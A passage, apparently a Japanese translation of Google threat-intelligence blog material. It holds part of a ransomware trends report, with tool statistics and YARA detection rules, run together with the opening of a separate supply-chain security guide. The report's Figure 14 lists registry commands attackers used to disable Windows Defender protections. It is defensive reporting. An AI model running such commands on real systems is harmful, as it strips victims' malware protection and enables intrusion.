• 注目すべき点として、RANSOMHUB のインシデントでは、脅威アクターは Cisco Integrated Management Controller（CIMC）へのアクセスを利用して、9 つのノードからなる Cohesity クラスタ全体で仮想メディア経由 Debian Linux ISO イメージをマッピングしました。起動優先順位を変更し、ハードウェアの電源を入れ直すことで、ノードが外部の Linux 環境で起動し、Cohesity のオペレーティング システム（OS）が上書きされ、バックアップ データにアクセスできないようにしました。

• いくつかの侵入では、脅威アクターはセキュリティ ソフトウェア ソリューションに関連するプロセスとサービスを終了させるツールを使用しました。具体的には、署名付きカーネルモード ドライバを悪用するもので、例としては、オープンソースの TERMINATOR や WATCHDOGKILLER、脆弱なカーネルモード ドライバをデコードしてインストールするユーティリティである WARCLAW などの非公開ツールがあります。

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f 
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1"
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

図 14: Windows Defender のレジストリキーの変更

ツールの普及

2025 年を通して、ランサムウェア アクターはランサムウェア侵入のさまざまなステージで、一般公開されているツールと正規のソフトウェアに大きく依存していることが引き続き確認されました。正規のソフトウェアは依然として多用されていますが、RMM ツールと侵入後活動 C2 フレームワークの使用はわずかに減少しました。特に、WinRAR と Rclone の使用はインシデントのほぼ 4 分の 1 で確認されました。このツールはそれぞれデータのステージングと引き出しで通常使用されるものであるため、データ窃取を伴うインシデントの増加に伴う結果と考えられます。

• 脅威アクターが 2025 年のランサムウェア インシデントで侵入後活動 C2 フレームワークを使用した割合は約 15% で、2024 年の約 20% から減少しました。侵入後活動フレームワークの使用が減少している理由は、主に Cobalt Strike BEACON の使用が減少傾向にあるためです。

• 2025 年のランサムウェア インシデントで Cobalt Strike BEACON がデプロイされたのはわずか 2% で、数年にわたって減少傾向が続いています。2021 年にはランサムウェア インシデントの約 60% で BEACON が使用されていましたが、2022 年には約 38%、2023 年には 20%、2024 年には 11% にまで減少しました。この減少は AdaptixC2 などの新しいフレームワークを模索する一部のアクターが存在することが一つの要因として考えられます。

• 侵入の約 8% で AdaptixC2（ADAPTAGENT）侵入後活動フレームワークが使用されていました。AdaptixC2 はペネトレーション テスター向けに開発されたオープンソースの侵入後活動フレームワークです。ただ、長年にわたって CobaltStrike が使用されてきたのと同様に、脅威アクターはオペレーションをスムーズに実行するため、このようなタイプのペネトレーション テストツールを悪用することがよくあります。

• 頻度は低いものの、MYTHICAGENT、METASPLOIT、HAVOC、EXPLORATIONC2 に関連するペネトレーション フレームワークも確認されました。

• 昨年確認された傾向と同様に、脅威アクターによるリモート管理ツールの利用はわずかに低下していると思われます。2025 年のインシデントの約 24% で少なくとも 1 つの RMM が関与しており、2024 年の 28%、2023 年の 40% から減少しています。

• 2025 年のランサムウェア インシデントで確認されたリモート管理ツールは 10 種類で、2024 年の 9 種類と同程度ですが、2023 年の 13 種類からは全体的に減少しています。

• 同じ侵入において複数の異なる RMM を利用する脅威アクターの事例も減少しました。2025 年に複数の RMM が確認されたインシデントは約 5% にとどまり、2024 年の 8%、2023 年の 16% から減少しています。

• 過去数年と同様に、2025 年もランサムウェア インシデントで最もデプロイされた RMM は AnyDesk でした。ただ、全体的な使用率は 2023 年の約 31%、2024 年の 16% から 2025 年には 10% まで減少しています。

• 脅威アクターによるトンネラーの使用は、2024 年とほぼ同程度ですが、個々のトンネラーの使用にはわずかな変化がありました。たとえば、CLOUDFLARED は 2025 年のインシデントの 8% で確認されましたが、2024 年は約 4% でした。

• SYSTEMBC の使用はわずかに減少しており、2023 年にはトンネラーを使用したインシデントの約 14% でしたが、2024 年には 7% 強、2025 年には 6% 強にまで減少しています。SYSTEMBC インフラストラクチャは 2024 年 5 月に Operation Endgame によって破壊されています。マルウェアは依然としてフォーラムで販売されていますが、法執行機関の介入により一部の脅威アクターはそのマルウェアをオペレーションで使用し続けることをやめた可能性があります。

• 2025 年全体を通じて、脅威アクターは引き続き Advanced IP Scanner や SoftPerfect Network Scanner などの公開ネットワーク スキャン ツールを利用しており、その使用割合は侵入の約 50% で、2024 年と同程度となっています。

• 2025 年には、脅威アクターがデータ窃取をスムーズに進めるためによく使用する WinRAR や Rclone などの公開ツールの使用が増加しました。これは 2024 年から 2025 年にかけてデータ窃取が疑われるまたは確認されたインシデントが全体的に増加していることと比例しています。WinRAR と Rclone はインシデントの約 23% で確認されました。2024 年に Rclone が関与した侵入は約 16%、WinRAR が関与した侵入はわずか 8% でした。

修復とセキュリティ強化

ランサムウェアによる脅威への対処に役立つ推奨事項は、ホワイト ペーパーのランサムウェアの防止および封じ込め戦略: エンドポイント保護、セキュリティ強化、封じ込めのための実践ガイダンスに記載されています。

見通しと影響

アクター間の対立や法的措置によって混乱が続いているものの、ランサムウェア アクターは引き続き強い動機を維持しており、恐喝のエコシステムはこれまでどおりの回復力があることを示しています。しかし、いくつかの指標からこのようなオペレーションの全体的な収益性は低下しており、少なくとも一部の脅威アクターは大企業を標的することをやめ、小規模な組織に対して多数の攻撃を行うことに重点をシフトさせていることがわかります。これは被害組織のセキュリティ態勢の向上、身代金要求の拒否の増加、復旧機能の強化により、デプロイが成功しにくくなったことが原因であると考えられます。今後数年間で、報告要件や身代金の支払い禁止などの規制が厳しくなり、身代金の支払いを思いとどまる企業が増える可能性があります。今後もランサムウェアは世界的に最も影響の大きい脅威の一つであると予想されますが、利益の減少により、他の収益化手法と戦術にシフトする脅威アクターも出てくる可能性があります。このような動きは、データ窃取による恐喝オペレーションの増加、より攻撃的な恐喝戦術の使用に加え、侵害したインフラストラクチャを使用してフィッシング メッセージを送信するなど、被害組織の環境へのアクセスの二次的な収益化メカニズムでの場当たり的な使用といった形で現れてくる可能性があります。

検知

YARA ルール

AGENDA

rule M_APTFIN_Ransom_AGENDA_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
strings:
	$conf1 = "public_rsa_pem" fullword
	$conf2 = "private_rsa_pem" fullword
	$conf3 = "directory_black_list" fullword
	$conf4 = "file_black_list" fullword
	$conf5 = "file_pattern_black_list" fullword
	$conf6 = "process_black_list" fullword
	$conf7 = "win_services_black_list" fullword
	$conf8 = "company_id" fullword
	$conf9 = "note" fullword
	$load_const1 = { 21 B7 F6 F7 }
	$load_const2 = { F6 36 A4 69 }
	$load_s1 = "run_portable_executable" fullword
	$load_s2 = "MemoryLoadLibrary" fullword
	$load_s3 = "_ZN9morph_poc4main"
	$note1 = "Extension: "
	$note2 = "Domain: "
	$note3 = "login: "
	$note4 = "password: "
	$note5 = "Enter credentials-- Credentials"
	$note6 = "-- Qilin"
	$note7 = "-- Recovery"
	$note8 = "www.torproject.org"
	$note9 = ".onion"
	$note10 = "Employees personal data, CVs, DL , SSN."
	$note11 = "%s/%s_RECOVER.txt"
condition:
	uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (7 of ($conf*) or 7 of ($note*) or all of ($load*))

}

AGENDA.RUST

rule M_Hunting_Win_Ransomware_AGENDA_RUST_2_MBeta {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
strings:
	$rust = "/rust/"
	$conf1 = "\"public_rsa_pem\":"
	$conf2 = "\"private_rsa_pem\":"
	$conf3 = "\"directory_black_list\":"
	$conf4 = "\"file_black_list\":"
	$conf5 = "\"file_pattern_black_list\":"
	$conf6 = "\"process_black_list\":"
	$conf7 = "\"win_services_black_list\":"
	$conf8 = "\"company_id\":"
	$conf9 = "\"n\":"
	$conf10 = "\"p\":"
	$conf11 = "\"fast\":"
	$conf12 = "\"skip\":"
	$conf13 = "\"step\":"
	$conf14 = "\"accounts\":"
	$conf15 = "\"note\":"
condition:
	uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (($rust and 8 of ($conf*)) or (13 of ($conf*)))

}

REDBIKE

rule M_Ransom_REDBIKE_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
strings:
	$a1 = ".akira"
	$a2 = "akira_readme.txt"
	$a3 = "akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id"
	$s1 = "--encryption_percent" ascii wide nocase
	$s2 = "--encryption_path" ascii wide nocase
	$s3 = "--share_file" ascii wide nocase
condition:
	((all of ($s*)) and (any of ($a*))) and (uint16(0) == 0x5A4D) and filesize > 500KB and filesize < 2MB

}

REDBIKE.LINUX

rule M_APTFIN_Ransom_REDBIKE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
strings:
	$a = "akira_readme.txt"
	$b = "save your TIME, MONEY, EFFORTS"
	$c = "akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion"
	$d = "--encryption_percent"
	$e = "--encryption_path"
	$f = "--share_file"
condition:
	all of them and (uint32be(0) == 0x7F454C46)

}

CLOP

rule M_Hunting_CLOP_rol7XorHash32_ConfigHashes_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
strings:
	$hex_asm_literal_a = { 92 F7 53 7A }
	$hex_asm_literal_b = { 43 29 79 71 }
	$hex_asm_literal_c = { 2A 81 C4 E2 }
	$hex_asm_literal_d = { 2E F4 FA 7E }
	$hex_asm_literal_e = { 31 E5 7F 91 }
	$hex_asm_literal_f = { 16 24 45 D6 }
	$hex_asm_literal_g = { 56 22 93 EA }
condition:
	all of them

}

CLOP.LINUX

rule M_Ransom_CLOP_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str_jobmessage_a = "Successfully started daemon-name"
		$str_jobmessage_b = "Could not change working directory to /"
		$str_jobmessage_c = "Could not generate session ID for child process"
		$asm_code_fileordirectory = { 25 00 F0 00 00 3D 00 40 00 00 75 }
		$asm_functioncall_open64_readfile = { 80 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 02 00 00 00 }
		$asm_functioncall_open64_writebytes = { B4 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 42 00 00 00 }
		$asm_encryption_filebuffersize = { 00 E1 F5 05 76 ?? C7 45 ?? 00 E1 F5 05 }
		$asm_encryption_generatekey = { 1F 89 ( C? | D? | E? | F? ) C1 ( C? | D? | E? | F? ) 18 8D ( 0? | 1? ) ( 0? | 1? ) 25 FF 00 [0-2] 29 ( C? | D? | E? | F? ) 83 ( C? | D? | E? | F? ) 01 C9 }
	condition:
		uint32(0) == 0x464C457F and all of ($str_*) or (#asm_code_fileordirectory == 2 and #asm_functioncall_open64_writebytes == 2 and ($asm_encryption_generatekey and $asm_functioncall_open64_readfile and $asm_encryption_filebuffersize))
}

PLAYCRYPT

rule M_Ransomware_PLAYCRYPT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2022-12-21"
		date_modified = "2022-12-21"
		rev = "1"
	strings:
		$c1 = { 8A CB 0F B6 D0 8B F2 8B FA D3 EE 8D 4B 01 D3 EF 83 E6 01 83 E7 01 }
		$c2 = { 8D 45 F0 C7 85 D0 FD FF FF 00 00 00 00 50 83 EC 08 }
		$c3 = { 8B 14 0A 8B 4C 32 20 03 D6 89 55 E0 03 CE }
		$c4 = { 8D 8D 80 ?? FF FF E8 C8 ?? FF FF 85 C0 75 61 83 BD [2] FF FF 05 76 58 }
		$c5 = { FF 76 ?? C6 45 EE 00 E8 [2] 00 00 8B F0 8B CF 33 C0 85 F6 0F 48 F0 E8 }
		$c6 = { FF D0 8B F8 83 FF 05 0F [2] 01 00 00 83 FF 06 0F [2] 01 00 00 8B 0E 3B 4E 04 0F [2] 01 00 00 83 FF 04 74 6D 83 FF 01 }
		$s1 = "OpaqueKeyBlob" wide
		$s2 = "AppPolicyGetProcessTerminationMethod"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize > 100KB and filesize < 200KB and ((2 of ($c*) and all of ($s*)) or (4 of ($c*)))
}

PLAYCRYPT.LINUX

rule G_Ransom_PLAYCRYPT_LINUX_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "First step is done."
		$s2 = "/dev/urandom"
		$s3 = "esxcli storage filesystem list > storage"
		$s4 = "hosts in exclusion:"
		$s5 = "encrypt: "
		$s6 = ".PLAY" fullword
	condition:
		uint32(0) == 0x464C457F and all of them
}

SAFEPAY

import "pe"
rule G_Ransom_SAFEPAY_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$hex_asm_snippet = { 10 27 00 00 [0-4] 10 27 00 00 }
condition:
pe.imphash() == "ff67c703589f775db9aed5a03e4489b0" and ($hex_asm_snippet)
}

rule G_Ransom_SAFEPAY_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$code_string_decode = { 8A C2 32 C1 32 44 0D ?? 34 ?? 88 44 0D ?? 41 83 F9 04 [4-64] B? 4D 5A 00 00 }
		$code_hardware_aes_check = { 0F A2 8B F3 5B 89 07 89 77 ?? 89 4F ?? 89 57 [0-12] ( 00 00 00 02 | C1 ?? 19 ) }
		$code_encrypt_file = { 14 00 10 00 [2-24] 14 00 10 00 [2-32] 00 10 00 5? [0-8] FF ( 15 | D? ) }
		$enc_str1 = { C7 45 ?? 67 4B 3D 49 C7 45 ?? 2F 4F 2F 4D }
		$enc_str2 = { C7 45 ?? 10 3C 51 3E C7 45 ?? 5C 38 4F 3A C7 45 ?? 42 34 58 36 C7 45 ?? 43 30 58 32 66 C7 45 ?? 2D 2C }
		$enc_str3 = { C7 45 ?? A3 8F FF 8D C7 45 ?? EF 8B E4 89 C7 45 ?? E0 87 E0 85 C7 45 ?? E7 83 EC 81 C7 45 ?? FB 9F E8 9D C7 45 ?? FF 9B 98 99 }
		$enc_str4 = { C7 45 ?? 44 40 51 47 C7 45 ?? 51 49 10 10 C7 45 ?? 03 48 43 42 C6 45 ?? 29 }
		$enc_str5 = { C7 45 ?? 77 77 73 74 C7 45 ?? 75 6D 64 70 C7 45 ?? 23 68 63 62 C6 45 ?? 09 }
	condition:
		uint16(0) == 0x5a4d and (all of ($code*) or (any of ($code*) and any of ($enc*)) or (2 of ($enc*)))
}

INC

rule M_Ransom_INC_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d" wide
		$s2 = "[-] Failed" wide
		$s3 = "[+] Start" wide
		$s4 = "INC-README" wide
		$s5 = "--debug" wide
		$s6 = "RECYCLE" wide
	condition:
		all of them and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
}

INC (Lynx Branded)

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$lynx = "lynx" ascii wide nocase
	condition:
		$lynx and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 300KB and filesize > 50KB
}

INC (Sinobi Branded)

rule G_Ransom_INC_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$sin = "sinobi" ascii wide nocase
	condition:
		$sin and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 400KB and filesize > 50KB
}

INC.LINUX

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d"
		$s2 = "[-] Failed"
		$s3 = "[+] Start"
		$s4 = "INC-README"
		$s5 = "--debug"
		$s6 = "vmsvc"
	condition:
		all of them and uint32(0) == 0x464c457f
}

RANSOMHUB

rule M_Ransom_RANSOMHUB_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str1 = "json:\"settings\""
		$str2 = "json:\"extension\""
		$str3 = "json:\"net_spread\""
		$str4 = "json:\"local_disks\""
		$str5 = "json:\"running_one\""
		$str6 = "json:\"self_delete\""
		$str7 = "json:\"white_files\""
		$str8 = "json:\"white_hosts\""
		$str9 = "json:\"credentials\""
		$str10 = "json:\"kill_services\""
		$str11 = "json:\"set_wallpaper\""
		$str12 = "json:\"white_folders\""
		$str13 = "json:\"note_file_name\""
		$str14 = "json:\"note_full_text\""
		$str15 = "json:\"kill_processes\""
		$str16 = "json:\"network_shares\""
		$str17 = "json:\"note_short_text\""
		$str18 = "json:\"master_public_key\""
	condition:
		14 of them
}

FURYSTORM

rule G_Ransom_FURYSTORM_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Whitelist VM id"
		$s2 = "gwfn6l3bk45o2zecvi7xtyqrpsudmahj"
		$s3 = "Dry-run"
		$s4 = "-paths"
		$s5 = "-vmsvc"
		$s6 = "Note: motd=%d login=%d clean=%d"
		$s7 = "Cryptor args"
		$s8 = "VMX found"
		$s9 = "Keys: %016l"
		$s10 = "vim-cmd"
		$s11 = "Dropping readme"
		$s12 = "Encryption params"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 700KB and 6 of them
}

rule G_Ransom_FURYSTORM_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Failed decrypt file:"
		$s2 = "Decryptor args:"
		$s3 = "Private key loaded"
		$s4 = "Keys: %016l"
		$s5 = "Dry-run"
		$s6 = "Encryption params"
		$s7 = "Whitelist paths"
		$s8 = "Note: motd=%d"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 300KB and 6 of them
}

FIREFLAME

rule M_Autopatt_Ransom_FIREFLAME_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$p00_0 = { 8B CE 8D 5F ?? 8A 01 8D 49 ?? 0F B6 C0 83 E8 ?? 8D 04 40 C1 E0 ?? 99 }
		$p00_1 = { 55 8B EC FF 75 ?? E8 [4] 59 8B 4D ?? 89 01 F7 D8 1B C0 }
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (0 .. 380000) and $p00_1 in (260000 .. 280000)))
}

謝辞

今回の分析は、Dima Lenz 氏、Chastine Altares 氏、Ana Foreman 氏、Advanced Practices チーム、Mandiant コンサルティング チーム、FLARE チームの皆様の協力がなければ実現しえませんでした。

- Google Threat Intelligence Group

※この投稿は米国時間 2026 年 9 月 25 日に、Google Cloud blog に投稿されたものの抄訳です。

はじめに

ソフトウェア サプライ チェーン セキュリティを取り巻く状況は大きく変化しています。最近の攻撃キャンペーンでは、高度な脅威アクターが、信頼できるセキュリティ ツールやプログラミング ツールを侵害することで、エンジニアリング ライフサイクルを体系的に標的にしていることが示されています。

このような侵入から、以下の 3 つの主な戦術が明らかになっています。

• 攻撃者は、信頼できるセキュリティ スキャナ、ユーティリティ ライブラリ、AI 開発者のツールを標的にして、ビルド パイプライン内でこれらのシステムに付与された高い権限を悪用しようとします。

• 攻撃者は、高度にカスタマイズされたソーシャル エンジニアリング、悪意のある拡張機能、タイポスクワットしたローカル依存関係などを介し、開発者ワークステーションや統合開発環境（IDE）を標的にして、秘密暗号鍵、API トークン、アクティブなセッション認証情報をローカル エンジニアリング環境から直接窃取します。

• 攻撃者は、侵害した静的認証情報のみを利用するのではなく、GitHub Actions のキャッシュ ポイズニング、OpenID Connect（OIDC）トークンの抽出、変更可能なアクションタグの改ざんといった高度なパイプライン操作手法へと手を広げ、暗号学的に検証された正当な来歴を保持したまま、侵害したパッケージを公開しています。

このブログ記事では、以前のガイダンス（こちらとこちら）を基に、ソフトウェア開発ライフサイクル（SDLC）全体にわたり、活発に悪用されている脅威ベクトル、サードパーティ リスク、アーキテクチャの脆弱性からソフトウェア サプライ チェーンを保護するように設計された、ソフトウェアおよびプラットフォーム アーキテクト向けの実用的な行動指針を説明します。

継続的インテグレーションと継続的デリバリー / デプロイ（CI / CD）の安全保護対策の確立、開発者のワークフローの強化、堅牢なエンドツーエンドの多層防御の構築を実現する方法の詳細をぜひお読みください。

多層的なアプローチ

このような多層攻撃はビルド パイプライン全体に及ぶ脆弱性を標的にするため、パイプラインの各ステージを独立したセキュリティ ドメインとして扱うだけではもはや不十分です。こうした持続的な脅威から防御するには、図 1 で示している、ソフトウェア開発ライフサイクルの 5 つの主要な柱にわたる徹底した多層防御アプローチが必要です。

エンドポイント

開発者のワークステーションは、リポジトリ、パイプライン、クラウド環境に直接、特権アクセスができるため、攻撃者にとって価値の高い標的となります。脅威アクターは IDE を標的にして、モニタリングされていないローカル アクセスを悪用し、個人用アクセス トークン（PAT）、SSH 認証鍵、独自コードを収集することがよくあります。組織は、すべてのローカル ホストマシンとクラウドベースの開発環境全体に一貫したセキュリティ ポスチャーを適用する、統合セキュリティ レイヤを確立する必要があります。

ローカル シークレット スキャン

組織は、リポジトリの commit 前にシークレットを検出してブロックするために、pre-commit フックと IDE 統合スキャンツールをデプロイする必要があります。ローカルの pre-commit テンプレートを標準化することで、変更が中央サーバーに push される前に git ツリーが完全に検証されるようになります。潜在的な漏洩の影響を最小限に抑えるために、組織は従来のクラシックな PAT から、上限の短い有効期間（TTL）と環境固有の最小限の権限で制約される、きめ細かな PAT に移行する必要があります。

エンドポイント セキュリティ管理

組織は、エンドポイント検知対応（EDR）ソリューションを構成して、開発者のソフトウェアのインテグレーションをモニタリングし、継続的なデバイス ポスチャー チェックを適用する必要があります。また、EDR エージェントでは、信頼できる IDE プロセスツリーをモニタリングして、異常なファイル アクセス、予期しないプロセス生成、不正なアウトバウンド ネットワーク接続がないかを確認する必要があります。

完全な整合性を確保するには、これらの EDR コンプライアンス シグナルを統合エンドポイント管理（UEM）システムに直接統合し、デバイスがコンプライアンスに違反した場合は、ソースコード管理（SCM）システムへのアクセス、パイプライン タスクの実行、コードの公開などを行うユーザー権限を自動的に制限または取り消す必要があります。必要なコマンドライン インターフェース（CLI）プロセスの除外は、企業のエンドポイント全体に広く適用するのではなく、指定および隔離された開発環境に厳密に制限する必要があります。

IDE の標準化

組織は、IDE、ブラウザ統合、サードパーティ拡張機能の特定のバージョンを審査して承認する必要があります。IDE やブラウザのマーケットプレイスは、検証済みのアプリケーションのみを許可して、未検証の拡張機能を明示的にブロックするよう制限する必要があります。すべての連携ツールは、許可リストに登録する前に、正式なサードパーティ リスク管理審査を受ける必要があります。組織は、新たに発見された脅威を阻止するため、厳格なバージョン固定と一元化された緊急ブロック機能を組み合わせた、アクティブなソフトウェア アセット インベントリを維持する必要があります。

AI を活用したセキュリティ

エンジニアリング チームは、承認済みの大規模言語モデル（LLM）と AI エージェントのみを、マージ前の脆弱性分析とアプリケーション セキュリティ テストに使用する必要があります。脅威アクターがオープンソースの Model Context Protocol（MCP）パッケージに悪意のあるコードを積極的に挿入し、AI コーディング エージェントを騙し始めているため、この境界は非常に重要です（詳細は付随するブログ記事をご覧ください）。

コンテキスト ポイズニングやデータ引き出しなどのリスクを軽減するため、セキュリティ チームはコンテキスト保護ツールをデプロイし、ランタイム実行前に入力を検証する必要があります。開発者は、機密性の高い認証情報がモデルのコンテキスト ウィンドウに入らないよう、プラットフォーム固有の除外設定を使用して、可能な限りローカル環境（.env）ファイルをワークスペースから除外する必要があります。組織は、すべての AI 生成コードをリポジトリに書き込む前に検証するための、人間参加型制御モデルを維持する必要があります。

隔離された開発環境のサンドボックス

ホストレベルの侵害を防ぐため、組織は可能な限り、コンテナ化された開発環境または専用の仮想マシン（VM）の使用を義務付ける必要があります。サンドボックス化することで、悪意のあるポストインストール スクリプトや依存関係ポイズニング攻撃がローカル ファイルシステムを探索することを防ぎます。

侵害された依存関係がホスト権限で実行されないようにするには、機密性の高いホストパスのワークスペース コンテナへのマウントを制限する必要があります。開発者のゲスト VM は、一元化および堅牢化されたゴールデン イメージからインスタンス化し、稼働中の本番環境からネットワークを隔離する必要があります。すべてのサンドボックス実行とネットワーク アクティビティは、一元化された社内のログ管理システムに統合する必要があります。

コード リポジトリ

ソースコード リポジトリは、組織の独自ソフトウェアと知的財産に関する、最も信頼できる情報源として機能します。このレイヤを強化するには、ユーザー ID の管理、厳格なブランチ ガバナンス、コード履歴の継続的な検証により、不正な変更がライフサイクルに侵入しないようにする必要があります。

ユニバーサル ID

リポジトリを保護するには、ユーザー ID を厳格に管理する必要があります。企業管理ユーザー（CMU）モデルを実装すると、組織は外部の共同編集者を含むすべてのアカウントの完全な所有権を保持できるうえ、FIDO2 準拠の物理的なセキュリティ キーやデジタル パスキーなど、フィッシング耐性のある多要素認証（MFA）を適用できます。

ただし、CMU アカウントは、外部のオープンソース リポジトリへのコントリビューションが禁止される場合があります。この制限があるため、一般公開プロジェクトやオープンソース プロジェクトの公開、および非公開での共同編集に携わるチームには、MFA を適用したシングル サインオン（SSO）連携を備えた標準的なユーザーモデルの利用が引き続き推奨されます。

選択したアカウント モデルに関係なく、ID 検証は継続的に行う必要があります。組織は、アクセスを許可する前に、デバイス ポスチャーを検証する条件付きアクセス ポリシーをデプロイするとともに、ユーザーの API アクティビティをモニタリングし、侵害されたセッションを迅速に検知する必要があります。

ブランチの保護

組織は、main ブランチへの直接 commit を禁止するポリシーを実装し、すべての変更において、マージの前にピアレビューを受け、自動化された CI チェックに合格することを必須とする、隔離された機能ブランチを通過するようにする必要があります。管理バイパス ポリシーは無効にする必要があります。ファイルシステム レベルでは、強制 push アクティビティを制限してモニタリングする必要があります。セキュリティ チームは、監査履歴を継続的に分析して時系列上の矛盾を見つけ出し、タイムラインの改ざんを特定するとともに、コードの引き出しに使用される不正なデッドドロップ リポジトリを検出しなければなりません。

認証情報のライフサイクル

長期にわたる持続的な侵入を防ぐため、組織は認証情報のローテーションを自動化し、ジャストインタイムの取得メカニズムを実装して、トークンの TTL を厳格に設定する必要があります。開発者のアクセスについては、組織は PAT の使用を廃止する必要があります。ホストに保存される静的なパスワードとして本質的に機能する PAT は、ローカルの情報窃取型マルウェアに対して脆弱です。代わりに、ハードウェア セキュリティ キー（FIDO2 / YubiKey や macOS Secure Enclave など）を基盤とする、暗号学的に検証された SSH ベースの認証に移行します。

自動化された CI / CD パイプラインやサードパーティ統合の場合、組織はサービス アカウントの PAT の代わりに GitHub アプリの使用を義務付け、1 時間後に自動的に失効する、有効期間が短く、アクセス範囲が厳格に制限されたアクセス トークンを活用する必要があります。シークレットは環境変数に保存しないでください。ローカル環境ファイル（.env）は .gitignore で除外し、ランタイム インジェクションにはネイティブ プラットフォームのシークレット機能を使用してください。

依存関係のセキュリティ

セマンティック バージョニング（SemVer）を利用するアプリケーション マニフェストでは、解決時に依存関係のドリフトを引き起こす動的なバージョン範囲（キャレット ^、チルダ ~、ワイルドカード * 演算子など）を禁止する必要があります。代わりに、厳格に適用され、暗号学的に検証されたロックファイルによって裏付けられた、厳密な SemVer 固定（例: 1.4.2）を設定で義務付ける必要があります。

未検証の実行ベクトル（「curl to bash」のようなブラインド スクリプトなど）はブロックし、明示的な SHA-256 ダイジェストを介して呼び出される、ベンダーが直接提供するコンテナを優先する必要があります。組織は、ソフトウェア構成分析（SCA）と到達可能性分析を組み合わせて実施し、アプリケーション パス内で実際に実行される脆弱性へのパッチ適用を優先する必要があります。ビルドでは、ソフトウェア部品構成表（SBOM）を生成し、ソフトウェア アーティファクトのためのサプライ チェーン レベル（SLSA）レベル 2 以上の来歴チェックを適用する必要があります。

アーティファクト管理

アーティファクト レイヤを防御するには、信頼できるビルド環境の境界を越えて入ってくるものを制御する必要があります。ポイントインタイムのスキャンではもはや不十分です。組織は、アップストリームのコンポーネントがダウンストリームに伝播する前に、継続的に検査および検証する必要があります。

依存関係のクールダウン

組織は、新たに公開されたパブリック パッケージ バージョンがインストール可能になるまで、リリース後少なくとも 7 日間のクールダウン期間を義務付ける必要があります。コミュニティによる検出により、悪意のあるオープンソース パッケージが公開後すぐに特定され、排除されることがよくあるからです。

